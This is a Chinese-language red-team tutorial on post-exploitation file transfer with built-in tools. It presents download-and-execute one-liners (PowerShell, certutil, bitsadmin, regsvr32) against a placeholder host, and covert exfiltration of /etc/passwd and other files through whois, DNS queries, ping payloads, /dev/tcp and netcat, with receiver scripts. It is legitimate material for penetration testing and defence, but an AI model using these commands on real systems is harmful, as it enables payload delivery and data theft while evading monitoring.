红队后渗透测试中的文件传输技巧
作者:xax007@知道创宇404 ScanV安全服务团队
作者博客:https://xax007.github.io/
在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输,本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。
搭建 HTTP server
Python
python2:
1 |
python -m SimpleHTTPServer 1337 |
以上命令会在当前目录启动 HTTP 服务,端口为 1337
python3:
1 |
python -m http.server 1337 |
以上命令会在当前目录启动 HTTP 服务,端口为 1337
PHP 5.4+
当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337
1 |
php -S 0.0.0.0:1337 |
Ruby
下面的命令会在当前目录下启动 HTTP 服务,端口为 1337
1 |
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start' |
Ruby 1.9.2+
1 |
ruby -run -e httpd . -p 1337 |
Perl
1 2 |
<span class="nt">perl</span> <span class="nt">-MHTTP</span><span class="p">::</span><span class="nd">Server</span><span class="p">::</span><span class="nd">Brick</span> <span class="nt">-e</span> <span class="s1">'$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'</span> <span class="nt">perl</span> <span class="nt">-MIO</span><span class="p">::</span><span class="nd">All</span> <span class="nt">-e</span> <span class="s1">'io(":8080")->fork->accept->(sub { $_</span><span class="cp">[</span><span class="mi">0</span><span class="cp">]</span><span class="s1"> < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'</span> |
Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver
busybox httpd
1 |
busybox httpd -f -p 8000 |
本条来自:lvm
Download files from HTTP server
以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法
Windows
powershell
下载并执行:
1 |
<span class="nt">powershell</span> <span class="o">(</span><span class="nt">new-object</span> <span class="nt">System</span><span class="p">.</span><span class="nc">Net</span><span class="p">.</span><span class="nc">WebClient</span><span class="o">)</span><span class="p">.</span><span class="nc">DownloadFile</span><span class="o">(</span><span class="s1">'http://1.2.3.4/5.exe'</span><span class="o">,</span><span class="s1">'c:\download\a.exe'</span><span class="o">);</span><span class="nt">start-process</span> <span class="s1">'c:\download\a.exe'</span> |
certutil
下载并执行:
1 |
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe |
bitsadmin
下载并执行:
1 |
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe |
bitsadmin 的下载速度比较慢
regsvr32
1 |
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll |
Linux
Curl
1 |
curl http://1.2.3.4/backdoor |
Wget
1 |
wget http://1.2.3.4/backdoor |
awk
在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server
1 2 3 4 5 6 7 8 |
awk 'BEGIN { RS = ORS = "\r\n" HTTPCon = "/inet/tcp/0/127.0.0.1/1337" print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPCon while (HTTPCon |& getline > 0) print $0 close(HTTPCon) }' |
效果:
Setup HTTP PUT server
以下列出了上传文件到 HTTP Server 的几种方法
使用 Nginx 搭建 HTTP PUT Server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
mkdir -p /var/www/upload/ # 创建目录 chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组 cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录 # 写入配置到 file_upload 文件 cat <<EOF > file_upload server { listen 8001 default_server; server_name kali; location / { root /var/www/upload; dav_methods PUT; } } EOF # 写入完毕 cd ../sites-enable # 进入 nginx 虚拟主机启动目录 ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机 systemctl start nginx # 启动 Nginx |
使用 Python 搭建 HTTP PUT Server
以下代码保存到 HTTPutServer.py
文件里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
<span class="c1"># ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="nn">signal</span> <span class="kn">from</span> <span class="nn">threading</span> <span class="kn">import</span> <span class="n">Thread</span> <span class="kn">from</span> <span class="nn">BaseHTTPServer</span> <span class="kn">import</span> <span class="n">HTTPServer</span><span class="p">,</span> <span class="n">BaseHTTPRequestHandler</span> <span class="k">class</span> <span class="nc">PUTHandler</span><span class="p">(</span><span class="n">BaseHTTPRequestHandler</span><span class="p">):</span> <span class="k">def</span> <span class="nf">do_PUT</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="n">length</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s1">'Content-Length'</span><span class="p">])</span> <span class="n">content</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">rfile</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">length</span><span class="p">)</span> <span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="k">def</span> <span class="nf">run_on</span><span class="p">(</span><span class="n">port</span><span class="p">):</span> <span class="k">print</span><span class="p">(</span><span class="s2">"Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ..."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">port</span><span class="p">))</span> <span class="n">server_address</span> <span class="o">=</span> <span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">port</span><span class="p">)</span> <span class="n">httpd</span> <span class="o">=</span> <span class="n">HTTPServer</span><span class="p">(</span><span class="n">server_address</span><span class="p">,</span> <span class="n">PUTHandler</span><span class="p">)</span> <span class="n">httpd</span><span class="o">.</span><span class="n">serve_forever</span><span class="p">()</span> <span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span> <span class="mi">3</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="s2">"Usage:</span><span class="se">\n\t</span><span class="s2">python {0} ip 1337"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">ports</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> <span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">:]]</span> <span class="k">try</span><span class="p">:</span> <span class="k">for</span> <span class="n">port_number</span> <span class="ow">in</span> <span class="n">ports</span><span class="p">:</span> <span class="n">server</span> <span class="o">=</span> <span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">run_on</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">[</span><span class="n">port_number</span><span class="p">])</span> <span class="n">server</span><span class="o">.</span><span class="n">daemon</span> <span class="o">=</span> <span class="bp">True</span> <span class="c1"># Do not make us wait for you to exit</span> <span class="n">server</span><span class="o">.</span><span class="n">start</span><span class="p">()</span> <span class="n">signal</span><span class="o">.</span><span class="n">pause</span><span class="p">()</span> <span class="c1"># Wait for interrupt signal, e.g. KeyboardInterrupt</span> <span class="k">except</span> <span class="ne">KeyboardInterrupt</span><span class="p">:</span> <span class="k">print</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">Python HTTP PUT Server Stoped."</span> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> |
运行方法:
1 2 |
$ python HTTPutServer.py <span class="m">10</span>.10.10.100 <span class="m">1337</span> Starting a HTTP PUT Server on <span class="m">10</span>.10.10.100 port <span class="m">1337</span> <span class="o">(</span>http://10.10.10.100:1337<span class="o">)</span> ... |
上传文件到 HTTP PUT server
Linux
Curl
1 |
$ curl --upload-file secret.txt http://ip:port/ |
Wget
1 |
$ wget --method<span class="o">=</span>PUT --post-file<span class="o">=</span>secret.txt http://ip:port/ |
Windows
Powershell
1 2 |
$body = Get-Content secret.txt Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body |
使用 Bash /dev/tcp 进行文件传输
首先需要监听端口
文件接收端:
1 |
nc -lvnp 1337 > secret.txt |
文件发送端:
1 |
cat secret.txt > /dev/tcp/ip/port |
使用 SMB 协议进行文件传输
搭建简易 SMB Server
搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py
文件
Impacket
已默认安装在 Kali Linux 系统中
syntax: impacker-smbserver ShareName SharePath
1 2 3 |
$ mkdir smb <span class="c1"># 创建 smb 目录</span> $ <span class="nb">cd</span> smb <span class="c1"># 进入 smb目录</span> $ impacket-smbserver share <span class="sb">`</span><span class="nb">pwd</span><span class="sb">`</span> <span class="c1"># 在当前目录启动 SMB server,共享名称为 share</span> |
效果:
从 SMB server 下载文件
1 |
copy \\IP\ShareName\file.exe file.exe |
上传文件到 SMB server
1 2 3 4 5 |
net use x: \\IP\ShareName copy file.txt x: net use x: /delete |
使用 whois 命令进行文件传输
接收端 Host B:
1 |
nc -vlnp 1337 | sed "s/ //g" | base64 -d |
发送端 Host A:
1 |
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64` |
效果:
使用 ping 命令进行文件传输
发送端:
1 |
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done |
接收端:
以下代码保存到 ping_receiver.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<span class="kn">import</span> <span class="nn">sys</span> <span class="k">try</span><span class="p">:</span> <span class="kn">from</span> <span class="nn">scapy.all</span> <span class="kn">import</span> <span class="o">*</span> <span class="k">except</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="s2">"Scapy not found, please install scapy: pip install scapy"</span><span class="p">)</span> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="k">def</span> <span class="nf">process_packet</span><span class="p">(</span><span class="n">pkt</span><span class="p">):</span> <span class="k">if</span> <span class="n">pkt</span><span class="o">.</span><span class="n">haslayer</span><span class="p">(</span><span class="n">ICMP</span><span class="p">):</span> <span class="k">if</span> <span class="n">pkt</span><span class="p">[</span><span class="n">ICMP</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="mi">8</span><span class="p">:</span> <span class="n">data</span> <span class="o">=</span> <span class="n">pkt</span><span class="p">[</span><span class="n">ICMP</span><span class="p">]</span><span class="o">.</span><span class="n">load</span><span class="p">[</span><span class="o">-</span><span class="mi">4</span><span class="p">:]</span> <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{data.decode("utf-8")}'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">,</span> <span class="n">sep</span><span class="o">=</span><span class="s2">""</span><span class="p">)</span> <span class="n">sniff</span><span class="p">(</span><span class="n">iface</span><span class="o">=</span><span class="s2">"eth0"</span><span class="p">,</span> <span class="n">prn</span><span class="o">=</span><span class="n">process_packet</span><span class="p">)</span> |
执行方法:
1 |
python3 ping_receiver.py |
效果
使用 dig 命令进行文件传输
发送端:
1 |
<span class="n">xxd</span> <span class="o">-</span><span class="n">p</span> <span class="o">-</span><span class="n">c</span> <span class="mi">31</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span> <span class="o">|</span> <span class="k">while</span> <span class="n">read</span> <span class="n">line</span><span class="p">;</span> <span class="k">do</span> <span class="n">dig</span> <span class="mf">@172.16.1.100</span> <span class="o">+</span><span class="kt">short</span> <span class="o">+</span><span class="n">tries</span><span class="o">=</span><span class="mi">1</span> <span class="o">+</span><span class="n">time</span><span class="o">=</span><span class="mi">1</span> <span class="err">$</span><span class="n">line</span><span class="p">.</span><span class="n">gooogle</span><span class="p">.</span><span class="n">com</span><span class="p">;</span> <span class="n">done</span> |
接收端:
以下代码使用了 python 的 scapy
模块,需要手动安装
代码保存到 dns_reciver.py
文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<span class="nn">try</span><span class="p">:</span> <span class="s s-Atom">from</span> <span class="s s-Atom">scapy</span><span class="p">.</span><span class="s s-Atom">all</span> <span class="s s-Atom">import</span> <span class="o">*</span> <span class="nn">except</span><span class="p">:</span> <span class="nf">print</span><span class="p">(</span><span class="s2">"Scapy not found, please install scapy: pip install scapy"</span><span class="p">)</span> <span class="s s-Atom">def</span> <span class="nf">process_packet</span><span class="p">(</span><span class="s s-Atom">pkt</span><span class="p">)</span><span class="s s-Atom">:</span> <span class="s s-Atom">if</span> <span class="s s-Atom">pkt</span><span class="p">.</span><span class="nf">haslayer</span><span class="p">(</span><span class="nv">DNS</span><span class="p">)</span><span class="s s-Atom">:</span> <span class="s s-Atom">domain</span> <span class="o">=</span> <span class="s s-Atom">pkt</span><span class="p">[</span><span class="nv">DNS</span><span class="p">][</span><span class="nv">DNSQR</span><span class="p">].</span><span class="s s-Atom">qname</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="s s-Atom">'utf-8'</span><span class="p">)</span> <span class="s s-Atom">root_domain</span> <span class="o">=</span> <span class="s s-Atom">domain</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="s s-Atom">'.'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="s s-Atom">if</span> <span class="s s-Atom">root_domain</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="s s-Atom">'gooogle'</span><span class="p">)</span><span class="s s-Atom">:</span> <span class="nf">print</span><span class="p">(</span><span class="s s-Atom">f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}'</span><span class="p">,</span> <span class="s s-Atom">flush</span><span class="o">=</span><span class="nv">True</span><span class="p">,</span> <span class="s s-Atom">end=''</span><span class="p">)</span> <span class="nf">sniff</span><span class="p">(</span><span class="s s-Atom">iface=</span><span class="s2">"eth0"</span><span class="p">,</span> <span class="s s-Atom">prn</span><span class="o">=</span><span class="s s-Atom">process_packet</span><span class="p">)</span> |
运行方法:
1 |
python3 dns_reciver.py |
效果:
使用 NetCat 进行文件传输
接受端:
1 |
nc -l -p 1337 > 1.txt |
发送端:
1 |
cat 1.txt | nc -l -p 1337 |
或者
1 |
nc 10.10.10.200 1337 < 1.txt |
在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:
1 |
cat < /dev/tcp/10.10.10.200/1337 > 1.txt |
参考链接
- Ippsec’s HackTheBox - Mischief Video
- Micropoor
- Simple Local HTTP Server With Ruby
- Big list of http static server one liners
- 渗透技巧——从github下载文件的多种方法
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/834/